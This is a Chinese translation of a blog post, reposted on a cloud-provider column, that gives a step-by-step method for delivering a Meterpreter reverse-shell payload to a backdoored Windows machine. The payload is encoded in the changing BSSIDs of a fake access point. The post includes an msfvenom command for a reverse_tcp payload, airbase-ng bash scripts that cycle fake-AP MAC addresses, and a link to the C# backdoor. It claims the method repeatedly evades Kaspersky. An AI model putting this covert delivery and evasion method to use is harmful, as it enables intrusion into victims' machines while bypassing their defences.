前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >通过无线流量的BSSID传输后门Payload

通过无线流量的BSSID传输后门Payload

作者头像
洛米唯熊
发布2019-10-23 16:43:11
9690
发布2019-10-23 16:43:11
举报
文章被收录于专栏:洛米唯熊

0x00 前言

在这篇文章中我想讨论无线接入点(Wireless Access Point)以及[利用]BSSID(MAC-Address AP)[传输Payload]。

我们[之前]讨论过IPv4下[利用]ARP流量[传输Payload],现在我们谈论谈论无线流量中与其相类似的内容。该技术类似于之前文章中的利用ARP流量传输Payload的技术。

0x01 About

这一次我们依然没有加密后门Payload,同样没有使用文件系统(仅内存)中的硬编码Payload,但还是能够通过这种方法绕过杀软。这种方法也适用于通过无线流量传输未加密Meterpreter Payload

这种情形下,攻击者可以通过改变伪AP的BSSID(循环修改)来达到攻击目的。这意味着你只需修改BSSID,将后门Payload逐步注入到BSSID中,然后受感染的客户端(即注入后门的系统)就会在不用验证以连接到伪AP、仅仅是扫描周围AP的MAC-Address(BSSID)情形下转储这些Payload。Payload传输发生在无线设备之间,比如:Wlan环境中。

在我的方案中,受害者通过扫描周围AP的BSSID转储完Payload之后,Meterpreter会话建立于以太网(并非无线网络环境)之上。

你将能够看到,恶意代码或者本文中提到的简单后门会默默地在无线设备之间传输,最终你可以使用一段简单的C#代码获得Meterpreter会话。

在我的方案中,我使用无线网络仅是传输Payload(Step 1),受害者通过扫描无线设备的MAC-Address(BSSID)转储Payload;之后我植入的后门会使用eth0或者以太网卡来建立Meterpreter会话(Step 2),我们将不使用无线网络来建立会话。

Note:我认为Step 1与Step 2都在无线网络环境中完成在技术实现上是可能的,但我无法给出确切答案,因为我并没有进行测试。不过我觉得是可能实现的,在(Step 2)中你需要EvilTwin AP,同时Meterpreter Listener需要使用伪造热点子网中的某个IP地址……


Note:你可以使用MANA-Toolkit或者与它类似的工具来实现EvilTwin AP。链接:https://github.com/sensepost/mana

0x02 本方法的重点

重点就是:将恶意代码或者后门Payload注入到无线设备的BSSID中,并通过无线流量传输是可能实现的。

0x03 一步步地教你将Payloads注入到伪AP的BSSIDs中

我们以下面这段Payload作为示例:

代码语言:javascript
复制
fec8b00011ddc00945f1

Step 1:攻击者建立一个伪AP,名为Fake,MAC地址是00:fe:c8:b0:00:11

Note:MAC地址00:fe:c8:b0:00:11就是我们要注入的Payload,是fec8b00011ddc00945f1的前半部分。


Step 2:植入后门的系统扫描到ESSID为"Fake"的AP,并转储其BSSID。

Note:你的后门代码处理BSSID时需去掉":"之后再进行转储,即:fe:c8:b0:00:11==>>fec8b00011


Step 3:攻击者再次建立一个伪AP,名称不变,MAC地址改为00:dd:c0:09:45:f1

Step 4:植入后门的系统扫描到ESSID为"Fake"的AP,并转储其BSSID。

经过Step 2Step 4两个步骤后,植入后门系统将会被注入Payloadfec8b00011ddc00945f1

0x04 使用命令实现上述步骤

0x04.1 命令实现

现在,你应该已经理解了这种方法的工作原理,下面让我将展示如何在Linux下使用命令实现Step 1Step 3(即通过命令建立伪AP)。


可选命令:在创建Wlan0mon之前使用下面的命令可以改变你无线网卡的TXPower,这样做会增强你的伪AP的信号。如果你愿意的话,请手动输入:

代码语言:javascript
复制
ifconfig wlan0 down
iw reg set BO
ifconfig wlan0 up
iwconfig wlan0 txpower 30

Note:这些命令一定要在通过aimon-ng建立Wlan0mon之前使用,当然,它们是可选命令(并非必需)。


将无线网卡更改为监听模式是非常重要的一步:airmon-ng start wlan0 执行此命令之后你会看到多了一块"Wlan0Mon"网卡(处于监听模式)。

Note:你可以手动输入此命令并运行,仅使用一次即可。或者你可以在script1.sh脚本中使用一次此命令。我是在攻击者主机上手动输入此命令并运行的。


Step 1:攻击者建立一个伪AP,名为Fake,MAC地址是00:fe:c8:b0:00:11

Note:MAC地址00:fe:c8:b0:00:11是我们要注入的Payload,我们的Payload是fec8b00011。

cmd 1-1:airmon-ng start wlan0

cmd 1-2:airbase-ng -a 00:fe:c8:b0:00:11 –essid “Fake” -I 10 -0 wlan0mon

Note:你需要使伪AP的信号持续15秒,所以15秒之后可以使用killall命令杀死该进程。

cmd 1-3:sleep 15

cmd 1-4:killall airbase-ng


Step 3:攻击者建立一个伪AP,名为Fake,MAC地址是00:dd:c0:09:45:f1

cmd 3-1:airbase-ng -a 00:00:dd:c0:09:45:f1 –essid “Fake” -I 10 -0 wlan0mon

cmd 3-2:sleep 15

cmd 3-3:killall airbase-ng

正如你看到的那样,实现这些步骤我们需要使用这些命令,但我们在使用airbase-ng时存在问题。或者可能是我在使用这个命令时存在问题。

0x04.2 问题何在?

问题出现在cmd 1-2cmd 1-3之间,在执行了cmd 1-2之后你无法让airbase-ng命令停下来,你只能使用Ctrl+C或者终止该命令……所以我的脚本总会在执行到cmd 1-2这一命令时停止,除非我杀死该进程。

0x05 编写脚本

所以为了解决这个问题,我使用了两个脚本来实现这些步骤:

  • 第一个脚本文件"Script1.sh"用于实现cmd 1-2cmd 3-1

Note:你可以将cmd 1-1加入到这个脚本的第一行或者是手动输入运行。我选择了手动输入运行一次。

  • 第二个脚本文件"Script2.sh"用于实现cmd 1-3cmd 1-4cmd 3-2cmd 3-3

所以在我的方案实现中我们首先需要运行"Script1.sh"然后立即或者2-3秒之后运行"Script2.sh"。

两个脚本文件内容如下:

Script1.sh

代码语言:javascript
复制
#!/bin/bash
airbase-ng -a 00:fe:c8:b0:00:11 –essid “Fake” -I 10 -0 wlan0mon ;
airbase-ng -a 00:dd:c0:09:45:f1 –essid “Fake” -I 10 -0 wlan0mon ;

Script2.sh

代码语言:javascript
复制
#!/bin/bash
sleep 15 ;
killall airbase-ng ;
sleep 15 ;
killall airbase-ng ;

Note:你可以在"Script2.sh"脚本中使用循环语句(比如for)。


从下图中你可以看到,我们使用Script1.sh将Meterpreter Payload注入到BSSIDs中。

Meterpreter Payload开始于第三行。我的Meterpreter Payload大小为510Bytes。通过airbase-ng命令我们一次可以注入5Bytes到伪AP"Fake"的BSSID中。所以我们需要102行代码来通过airbase-ng命令注入所有的Payload到BSSID中。(102*5=510 Bytes)

Note:每个BSSID包含5字节Payload。BSSID=00:fc:48:83:e4:f0,{5 bytes} ==> fc-48-83-e4-f0。

我们需要额外加入两个MAC地址到"Script1.sh"中。上图脚本中的第二行MAC地址是00:ff:ff:ff:ff:ff,这个MAC地址或者说BSSID作为开始攻击流量传输入侵受害者主机的标志。下图脚本中可以看到作为结束标志的BSSID{00:ff:00:ff:00:ff}。

代码语言:javascript
复制
BSSID Flag for Start  =  00:ff:ff:ff:ff:ff
BSSID Flag for Finish =  00:ff:00:ff:00:ff

循环注入[Payload]到BSSID中,即BSSID改变次数共(102+2)=104次。

下面图片是"Script2.sh"脚本文件内容,你同样可以使用循环(比如for)来实现与其相同的效果。

在"Script2.sh"中,你至少要杀死airbase-ng104次。

0x06 使用`NativePayload_BSSID.exe`

现在我想通过我的工具NativePayload_BSSID.exe来一步一步地为你解释这个方法。

Step 0:将无线网卡设为监听模式。 命令:airmon-ng start wlan0

Step 1:你可以使用下面的命令为你的后门创建一个Payload。 msfvenom -a x86_64 --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 -f c > payload.txt

Step 2:在这一步中,你应当先将payload.txt文件中的Payload由"\xfc\x48\x83\xe4"转换为"fc4883e4"的形式。

你可以通过这个工具的help选项来显示所有的使用语法,如下图所示:

现在你应该使用NULL并将Payload字符串复制粘贴到其后,如下图所示: 命令:c:\> NativePayload.exe null “fc4883e4...”

然后你应当将上面所有的airbase-ng命令复制到一个脚本文件中(比如:script1.sh),该情形下一共有102+2=104行。另外,你需要在这个脚本文件中的第一行添加#!/bin/bash,现在这个文件应该有105行。

Step 3:这一步中你需要在Linux中运行这一脚本文件。不必担心,可以的! 如图所示,chmod修改脚本文件的权限,然后运行这一脚本:

Step 4:这一步中你应当创建script2.sh,并用chmod修改脚本文件的权限,但是不要运行。

Note:你需要像0x05最后一张图片中那样手动建立script2.sh

Step 5:现在你应当运行后门程序(此例中为NativePayload_BSSID.exe)。从下图中可以看到,我在Kali Linux中为IP地址192.168.1.50建立了Meterpreter Listener。

Step 5步骤中我们共需要执行4小步:

Step AA:执行Meterpreter Listener(Linux);

Step BB:运行script1.sh(Linux);

Step CC:执行后门程序NativePayload_BSSID.exe(Windows);

Step DD:运行script2.sh(Linux);


在Step CC中你应当使用NativePayload_BSSID.exe “essid”命令执行NativePayload_BSSID.exe,此例中我们的ESSID为“Fake”,所以正确命令应该为NativePayload_BSSID.exe “Fake”。 如下图,StepAA、BB、CC得以执行:

正如你从图中看到的一样,后门程序被名为"u1"的用户执行(此例中),之后你应当运行script2.sh(Step DD)。


这时后门程序尝试扫描周围ESSID为"Fake"的AP,之后转储其BSSID。所以你可以在上图中看到我的代码转储了4次BSSID即"00:ff:ff:ff:ff:ff",这是开始攻击以及通过BSSID传输Payloads的标志。

所以在流量传输过程中,有以下这些步骤:

现在是时候运行script2.sh(Step DD)了。 运行script2.sh脚本之后,每15秒这个脚本就会杀死你script1.sh文件中的一个Airbase-ng命令。 所以运行script2.sh脚本之后,在流量传输过程中,有了以下这些步骤:

正如你从下图中看到的那样,我的后门程序在运行script2.sh脚本之后尝试转储BSSIDs:

下图中可以看出,在30分钟之后,建立了Meterpreter会话:

我们通过我用C#编写的程序成功建立了Meterpreter会话,并且使用这种方法一次又一次地绕过了卡巴斯基2017。 Note:在上图中你可以看到,我的程序是在15秒之后建立了Meterpreter会话,这个延迟是我在代码(System.Threading.Thread.Sleep(15000);)中设置的。如果你使用我的代码对此方法进行验证,你应该在转储完所有Payload之后等待15秒,不出意外的话会建立Meterpreter会话。

0x07 总结

你的无线设备总是漏洞百出,所以你应当考虑这些威胁:

  1. 将恶意代码或者Payload注入到BSSID中,并通过无线流量传输;
  2. 如果你想在你的客户端或者网络基础设施上使用无线设备,你应当考虑这些威胁;
  3. 在这种方法中,受害者主机总是脆弱的,可能某一天你的主机会被攻击者的手机或者伪AP攻击;
  4. 此例中,我的后门程序尝试扫描ESSID为"Fake"的无线设备,并转储其BSSID。所以,流量传输很慢,不易被察觉。
  5. 你的防病毒软件并不能检测到这种方法,同时也能绕过LAN/WAN中的防火墙,因为我们的流量传输时并没有经过这些设备。此例中,流量是直接在受害者主机与攻击者主机的无线网卡间传输。后门程序在转储完Payloads之后,受害者主机与攻击者主机间的Meterpreter会话流量是通过LAN/WAN而非无线网卡,所以我们再一次在植入后门主机与攻击者主机之间进行了流量传输,而它大多数情况下不会被Windows防火墙检测到。

C# 源码:https://github.com/DamonMohammadbagher/NativePayload_BSSID

视频:https://youtu.be/W0dJGln3tls

译者的话:

  1. 0x00前言部分[]中的内容是译者根据为方便理解自行添加,原文中无。
  2. 个人感觉作者在0x02部分强调的重点没有任何作用,但出于尊重原文考虑,没有删掉该部分。
  3. 0x03部分原文中Step 3Step 4下面各有一个Note,含义与Step 1Step 2下面的Note相同,故弃之。
  4. 0x04部分原文中的Note在上文已解释,故弃之。
  5. 0x06Step 2的"将payload.txt文件中的Payload由'\xfc\x48\x83\xe4'转换为'fc4883e4'的形式"这一步骤应该由读者自行完成,下文的c:\> NativePayload.exe null “fc4883e4...”命令并非是完成这一步的命令。故译者加上了“先”字,这个意思在原文并没有体现,译者根据上下文妄自揣度,如有误,望指正。
  6. 0x06在流量传输过程中,原文为"on AIR"。译者根据文意翻译为在流量传输过程中,可能不太准确,如有更好的翻译,望不吝赐教。
  7. 设置15秒的延迟原文中并没有贴出源码,译者为方便阅读,在后方贴出了源码。
  8. 本文早先已由华为未然实验室翻译,译者再译的目的有二:一是为读者提供不同的参考译本;二是为之前没有看过这篇文章的读者提供一种思路。
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-10-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 洛米唯熊 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 前言
  • 0x01 About
  • 0x02 本方法的重点
  • 0x03 一步步地教你将Payloads注入到伪AP的BSSIDs中
  • 0x04 使用命令实现上述步骤
    • 0x04.1 命令实现
      • 0x04.2 问题何在?
      • 0x05 编写脚本
      • 0x06 使用`NativePayload_BSSID.exe`
      • 0x07 总结
      • 译者的话:
      相关产品与服务
      命令行工具
      腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档